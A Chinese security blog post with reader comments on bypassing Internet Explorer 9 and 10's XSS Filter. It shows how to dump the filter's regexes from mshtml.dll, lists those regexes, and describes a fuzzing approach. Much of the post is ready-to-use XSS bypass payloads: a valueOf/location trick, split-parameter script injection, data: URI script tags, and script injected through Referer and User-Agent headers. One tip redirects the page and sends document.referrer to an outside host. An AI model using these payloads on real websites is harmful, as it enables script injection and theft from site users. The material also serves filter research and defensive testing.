Bypass IE XSS Filter

0x00 背景

从IE8 beta2 开始，微软加入了xss Filter。如同大部分安全产品一样，防护的对策就是利用规则去过滤攻击代码，基于可用和效率的考虑，同时加入黑白名单策略（即同源策略）。

经过几代的更新和大量hack爱好者的测试（微软喜欢招揽一些帮助寻找漏洞的人才），到IE9已经有了比较好的提升。下面主要针对IE9和IE10.

0x01 找根源

IE xss filter工作原理

其流程

这里有很多环节可以bypass 例如验证同源80sec发现的问题。

http://www.80sec.com/ie8-security-alert.html

先针对xss filter 的绕过进行展开。

不乏很多人的人品好，随意组合便可bypass。以下针对像我这种人品一般的人，真正能游刃有余，就需要知道IE的xss Filter 的正则。

0x02 提取正则

这里提供几种方法寻找IE xss Filter的正则。（Ie 的xss filter regx 存在于系统内核 mshtml.dll模块中）。

查找很简单可以使用notepad++ textfx 16进制查看。（搜索‘sc{’）

寻找IE xss Filter的正则

或者使用 winhex(作者喜欢的工具) （搜索‘sc{’）

winhex 搜索‘sc{’）

不过这里强烈建议大家熟悉下IDApro(原因：后面你研究webkit 或者andriod等其他应用时，IDApro是非常好用的利器)

这里给出一个老外blog 的一条 console 命令非常实用。

findstr /C:"sc{r}" \WINDOWS\SYSTEM32\mshtml.dll|find "{"

这里得到 IE9 2013\2的xssfilter regx

{(v|(&[#()\[\].]x?0*((86)|(56)|(118)|(76));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(b|(&[#()\[\].]x?0*((66)|(42)|(98)|(62));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(s|(&[#()\[\].]x?0*((83)|(53)|(115)|(73));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(c|(&[#()\[\].]x?0*((67)|(43)|(99)|(63));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*{(r|(&[#()\[\].]x?0*((82)|(52)|(114)|(72));?))}([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(i|(&[#()\[\].]x?0*((73)|(49)|(105)|(69));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(p|(&[#()\[\].]x?0*((80)|(50)|(112)|(70));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(t|(&[#()\[\].]x?0*((84)|(54)|(116)|(74));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(:|(&[#()\[\].]x?0*((58)|(3A));?)).}
{(j|(&[#()\[\].]x?0*((74)|(4A)|(106)|(6A));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(a|(&[#()\[\].]x?0*((65)|(41)|(97)|(61));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(v|(&[#()\[\].]x?0*((86)|(56)|(118)|(76));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(a|(&[#()\[\].]x?0*((65)|(41)|(97)|(61));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(s|(&[#()\[\].]x?0*((83)|(53)|(115)|(73));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(c|(&[#()\[\].]x?0*((67)|(43)|(99)|(63));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*{(r|(&[#()\[\].]x?0*((82)|(52)|(114)|(72));?))}([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(i|(&[#()\[\].]x?0*((73)|(49)|(105)|(69));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(p|(&[#()\[\].]x?0*((80)|(50)|(112)|(70));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(t|(&[#()\[\].]x?0*((84)|(54)|(116)|(74));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(:|(&[#()\[\].]x?0*((58)|(3A));?)).}
{<st{y}le.*?>.*?((@[i\\])|(([:=]|(&[#()\[\].]x?0*((58)|(3A)|(61)|(3D));?)).*?([(\\]|(&[#()\[\].]x?0*((40)|(28)|(92)|(5C));?))))}
{[ /+\t\"\'`]st{y}le[ /+\t]*?=.*?([:=]|(&[#()\[\].]x?0*((58)|(3A)|(61)|(3D));?)).*?([(\\]|(&[#()\[\].]x?0*((40)|(28)|(92)|(5C));?))}
{<OB{J}ECT[ /+\t].*?((type)|(codetype)|(classid)|(code)|(data))[ /+\t]*=}
{<AP{P}LET[ /+\t].*?code[ /+\t]*=}
{[ /+\t\"\'`]data{s}rc[ +\t]*?=.}
{<BA{S}E[ /+\t].*?href[ /+\t]*=}
{<LI{N}K[ /+\t].*?href[ /+\t]*=}
{<ME{T}A[ /+\t].*?http-equiv[ /+\t]*=}
{<[?]?im{p}ort[ /+\t].*?implementation[ /+\t]*=}
{<EM{B}ED[ /+\t].*?((src)|(type)).*?=}
{[ /+\t\"\'`]{o}n\c\c\c+?[ +\t]*?=.}
{<.*[:]vmlf{r}ame.*?[ /+\t]*?src[ /+\t]*=}
{<[i]?f{r}ame.*?[ /+\t]*?src[ /+\t]*=}
{<is{i}ndex[ /+\t>]}
{<fo{r}m.*?>}
{<sc{r}ipt.*?[ /+\t]*?src[ /+\t]*=}
{<sc{r}ipt.*?>}
{[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).*?(((l|(\\u006C))(o|(\\u006F))({c}|(\\u00{6}3))(a|(\\u0061))(t|(\\u0074))(i|(\\u0069))(o|(\\u006F))(n|(\\u006E)))|((n|(\\u006E))(a|(\\u0061))({m}|(\\u00{6}D))(e|(\\u0065)))).*?=}
{[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).+?{[\[]}.*?{[\]]}.*?=}
{[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).+?{[.]}.+?=}
{[\"\'].*?{\)}[ ]*(([^a-z0-9~_:\'\" ])|(in)).+?{\(}}
{[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).+?{\(}.*?{\)}}

IE10 2013\5 的regx

{<sc{r}ipt.*?>}
{[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).*?(((l|(\\u006[Cc]))(o|(\\u006[Ff]))({c}|(\\u00{6}3))(a|(\\u0061))(t|(\\u0074))(i|(\\u0069))(o|(\\u006[Ff]))(n|(\\u006[Ee])))|((n|(\\u006[Ee]))(a|(\\u0061))({m}|(\\u00{6}[Dd]))(e|(\\u0065)))|((o|(\\u006[Ff]))(n|(\\u006[Ee]))({e}|(\\u00{6}5))(r|(\\u0072))(r|(\\u0072))(o|(\\u006[Ff]))(r|(\\u0072)))|((v|(\\u0076))(a|(\\u0061))({l}|(\\u00{6}[Cc]))(u|(\\u0075))(e|(\\u0065))(O|(\\u004[Ff]))(f|(\\u0066)))).*?=}
{[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).+?{[\[]}.*?{[\]]}.*?=}
{[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).+?{[.]}.+?=}
{[\"\'].*?{\)}[ ]*(([^a-z0-9~_:\'\" ])|(in)).+?{\(}}
{[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).+?{\(}.*?{\)}}
{[\"\'].*?[{,].*(((v|(\\u0076)|(\\166)|(\\x76))[^a-z0-9]*({a}|(\\u00{6}1)|(\\1{4}1)|(\\x{6}1))[^a-z0-9]*(l|(\\u006C)|(\\154)|(\\x6C))[^a-z0-9]*(u|(\\u0075)|(\\165)|(\\x75))[^a-z0-9]*(e|(\\u0065)|(\\145)|(\\x65))[^a-z0-9]*(O|(\\u004F)|(\\117)|(\\x4F))[^a-z0-9]*(f|(\\u0066)|(\\146)|(\\x66)))|((t|(\\u0074)|(\\164)|(\\x74))[^a-z0-9]*({o}|(\\u00{6}F)|(\\1{5}7)|(\\x{6}F))[^a-z0-9]*(S|(\\u0053)|(\\123)|(\\x53))[^a-z0-9]*(t|(\\u0074)|(\\164)|(\\x74))[^a-z0-9]*(r|(\\u0072)|(\\162)|(\\x72))[^a-z0-9]*(i|(\\u0069)|(\\151)|(\\x69))[^a-z0-9]*(n|(\\u006E)|(\\156)|(\\x6E))[^a-z0-9]*(g|(\\u0067)|(\\147)|(\\x67)))).*?:}
{<AP{P}LET[ /+\t>]}
{<OB{J}ECT[ /+\t].*?((type)|(codetype)|(classid)|(code)|(data))[ /+\t]*=}
{<BA{S}E[ /+\t].*?href[ /+\t]*=}
{[ /+\t\"\'`]data{s}rc[ +\t]*?=.}
{<LI{N}K[ /+\t].*?href[ /+\t]*=}
{<[?]?im{p}ort[ /+\t].*?implementation[ /+\t]*=}
{<ME{T}A[ /+\t].*?http-equiv[ /+\t]*=}
{[ /+\t\"\'`]{o}n\c\c\c+?[ +\t]*?=.}
{<EM{B}ED[ /+\t].*?((src)|(type)).*?=}
{<.*[:]vmlf{r}ame.*?[ /+\t]*?src[ /+\t]*=}
{<is{i}ndex[ /+\t>]}
{<[i]?f{r}ame.*?[ /+\t]*?src[ /+\t]*=}
{<sc{r}ipt.*?[ /+\t]*?src[ /+\t]*=}
{<fo{r}m.*?>}
{(v|(&#x?0*((86)|(56)|(118)|(76));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(b|(&#x?0*((66)|(42)|(98)|(62));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&#x?0*((83)|(53)|(115)|(73));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(c|(&#x?0*((67)|(43)|(99)|(63));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*{(r|(&#x?0*((82)|(52)|(114)|(72));?))}([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&#x?0*((73)|(49)|(105)|(69));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&#x?0*((80)|(50)|(112)|(70));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t|(&#x?0*((84)|(54)|(116)|(74));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(:|(&((#x?0*((58)|(3A));?)|(colon;)))).}
{(j|(&#x?0*((74)|(4A)|(106)|(6A));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&#x?0*((65)|(41)|(97)|(61));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(v|(&#x?0*((86)|(56)|(118)|(76));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&#x?0*((65)|(41)|(97)|(61));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&#x?0*((83)|(53)|(115)|(73));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(c|(&#x?0*((67)|(43)|(99)|(63));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*{(r|(&#x?0*((82)|(52)|(114)|(72));?))}([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&#x?0*((73)|(49)|(105)|(69));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&#x?0*((80)|(50)|(112)|(70));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t|(&#x?0*((84)|(54)|(116)|(74));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(:|(&((#x?0*((58)|(3A));?)|(colon;)))).}
{<st{y}le.*?>.*?((@[i\\])|(([:=]|(&#x?0*((58)|(3A)|(61)|(3D));?)).*?([(\\]|(&#x?0*((40)|(28)|(92)|(5C));?))))}
{[ /+\t\"\'`]st{y}le[ /+\t]*?=.*?([:=]|(&#x?0*((58)|(3A)|(61)|(3D));?)).*?([(\\]|(&#x?0*((40)|(28)|(92)|(5C));?))}

观察下IE9到IE10的变化，可以看出IE10比IE9又更新了不少正则。

可见IE正则是ATL系列。Webkit 用JSCRE（基于pcre）。Chrome 早期也用jscre，09年以后采用Irregexp。

通过正则可以测试出一些bypass.

以IE9 为例：

Regx1= \[\"\'\]\[ \]*(([^a-z0-9~_:\'\" ])|(in)).*?(location).*?=
(老正则)

Bypass : "+{valueOf:location, toString: [].join,0:'jav\x61script:alert\x280)',length:1}// location("http://xss.me/");

又比如IE的复参绕过：

param1=<script>prompt(9);/*&param2=*/</script>

最近绕过account.google.com的32位编码绕过，地址：“7500刀的accounts.google.com域下XSS分析”。

有意思的是：感觉上日本人喜欢用unicode 的编码上次见过有用 ??????? （\u1d2e\u1d35\u1d33\u1d2e\u1d35\u1d3f\u1d30）重置BIGBIRD 用户密码的。

美国人喜欢用类似这种变形

<script/src="data:text/javascript,o={window:'/XSS/'};prompt(o['window']);"></script>

老毛子喜欢用各种特殊字符（以上个人见解）。

0x03 进行Fuzz

简单的浏览观察，并不能高效的进行bypass.

转化为脚本

这里当我把python改完，突然意识到python的正则是pcre的！还好webkit的filter是基于pcre的（下次内容写webkit）。

微软向来用自己家东西，用C++写了个fuzz 程序进行fuzz测试。

用法。IEfilter.txt 是IE的正则。Bypasstest.txt是绕过语句，result和console界面程序会保存输出结果。

用C++写了个fuzz 程序进行fuzz测试

downloadlink:IEfilter.rar

Bypastest 内容可以自己生成。如果以前玩过spike的同学可以直接借用之前的payload和方法.

这里提供以下生成payload思路：

1.特殊字符 [0x09,0x0A-0x0D,0x20,0xA0]
2.不同编码 xc2xb4xe2x80x99xe2x80 甚至畸形编码ф1й2у3ц4
3.生僻函数
4.边界变量

剩下的大家自己动手研究。

0x04 一些分享

欢迎和我沟通或者写文章（升，升，升！）

来自国外的一些tip.（多关注国外技术blog 或者论坛）

Tip1: var url = "htpp://xss.cx/default.aspx?xss="+encodeURIComponent(document.referrer)"; if (window!=top) {top.location.href = url;} else document.location= url;
Tip2: <script/src="data:text/javascript,o={window:'/XSS/'};prompt(o['window']);"></script>
Tip3: <body/>
Tip4: "><script>alert(document.location)</script> (webkit)
Tip5: "-prompt(document.location)-" (webkit)
Tip6: Referer: http://www.google.com/search?hl=en&q=xss"><script>prompt(9)</script> (webkit)
Tip7: User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)xss"><script>prompt(9)</script> (webkit)   短短研究过这个。

参考：

http://blogs.technet.com/b/srd/archive/2008/08/19/ie-8-xss-filter-architecture-implementation.aspx

http://www.80sec.com

[原文地址]

各种讨论：

xsser | 2013/07/03 11:46 | #

这个很赞！！！！

livers | 2013/07/03 13:05 | #

升！升！升！

瞌睡龙 | 2013/07/03 12:04 | #

作者研究的可以哦~下了功夫的~！

livers | 2013/07/03 13:06 | #

升！升！升！！

uni3orns | 2013/07/04 11:47 | #

牛！从根本找到了bypass

Demon | 2013/07/04 22:39 | #

这个严重碉堡啊！赞死了！

过客 | 2013/07/05 11:49 | #

直接导出过滤正则

findstr /C:"sc{r}" \WINDOWS\SYSTEM32\mshtml.dll|find "{"

Sogili | 2013/07/06 05:38 | #

欧美流以马里奥为首主要主要研究协议规范与实现的差异。

小日本玩的比较猥琐，已长谷川为首主要研究各种字符集在浏览器各种条件下的不同反应。

livers | 2013/07/06 11:38 | #

马里奥大叔果然给力

核攻击 | 2013/07/11 09:01 | #

nice!

文章目录